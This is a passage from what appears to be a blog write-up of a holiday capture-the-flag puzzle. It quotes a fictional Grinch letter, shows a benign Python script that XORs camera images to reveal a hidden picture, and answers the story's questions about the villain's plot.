The e-mail is signed by “Cindy Lou Who”. We now know who is behind all of this!

In the pcap of SG-05, we find out that the Grinch wrote Cindy Lou Who a kind-hearted letter back, apologising for what he did so long ago.

I am writing to apologize for what I did to you so long ago. I wronged you and all the Whos down in Who-ville due to my extreme misunderstanding of Christmas and a deep-seated hatred. I should have never lied to you, and I should have never stolen those gifts on Christmas Eve. I realize that even returning them on Christmas morn didn’t erase my crimes completely. I seek your forgiveness.

Staticky images

Now, the challenge also talks about staticky images: we obtained 5 factory_cam_X.png images from each SuperGnome and a single camera_feed_overlap_error.png image. There’s a hint on the “GnomeNET” tab about what we should do with them:

It sounds like we’ll need to XOR the images together to obtain the camera feed image of the boss’ office. I couldn’t immediately find a tool that would XOR images together, so I used some Python. I iterate through the dimensions of the image and XOR the pixel values of all images in this loop.

xor.py from PIL import Image img0 = Image.open("camera_feed_overlap_error.png").convert('RGB') pix0 = img0.load() pixs = [pix0] for i in range(5): pixs.append(Image.open("factory_cam_%d.png" % (i+1)).load()) for i in range(1024): for j in range(768): # Obtaining the current pixel for every image pixels = [_[i,j] for _ in pixs] # Create value array for every channel R/G/B rgb = [[_[ch] for _ in pixels] for ch in range(3)] # XOR the values for each channel individually pix0[i,j] = tuple([reduce(lambda x,y: x^y, rgb[ch]) for ch in range(3)]) img0.save("boss.png") 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from PIL import Image img0 = Image . open ( "camera_feed_overlap_error.png" ) . convert ( 'RGB' ) pix0 = img0 . load ( ) pixs = [ pix0 ] for i in range ( 5 ) : pixs . append ( Image . open ( "factory_cam_%d.png" % ( i + 1 ) ) . load ( ) ) for i in range ( 1024 ) : for j in range ( 768 ) : # Obtaining the current pixel for every image pixels = [ _ [ i , j ] for _ in pixs ] # Create value array for every channel R/G/B rgb = [ [ _ [ ch ] for _ in pixels ] for ch in range ( 3 ) ] # XOR the values for each channel individually pix0 [ i , j ] = tuple ( [ reduce ( lambda x , y : x ^ y , rgb [ ch ] ) for ch in range ( 3 ) ] ) img0 . save ( "boss.png" )

And there it is, the camera image taken from the boss’ office.

Cindy Lou Who, age 62, is our mastermind 🙂 (reference).

Attribution

We can now answer the challenge questions:

Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation? The ATNAS corporation created 2 million gnomes that are placed in homes around the world. All gnomes have a camera inside and they are controlled by 5 SuperGnomes that are receiving the feeds. This allows ATNAS to determine where interesting items are around the house. On the night of 24 December, burglars will then break into the houses wearing a Santa suit, stealing the items that are valuable. These items were previously located inside the house via the camera images of the gnomes. Afterwards, ATNAS will resell the stolen goods. ATNAS is reverse SANTA: instead of bringing presents on Christmas, they’ll be stealing them! Who is the villain behind the nefarious plot. Cindy Lou Who, age 62, the CEO of ATNAS corporation.



Now I wonder whether ATNAS still continued with their plan, after receiving such a heartfelt letter from the Grinch. I hope to see a follow-up! 🙂

I liked that many easter eggs were present in the challenges in the form of references to movies and people. I hope I didn’t miss too many! Thanks again to the people who created this challenge. Happy holidays.

You know you can’t spell S-A-N-T-A without an N, an S, and an A.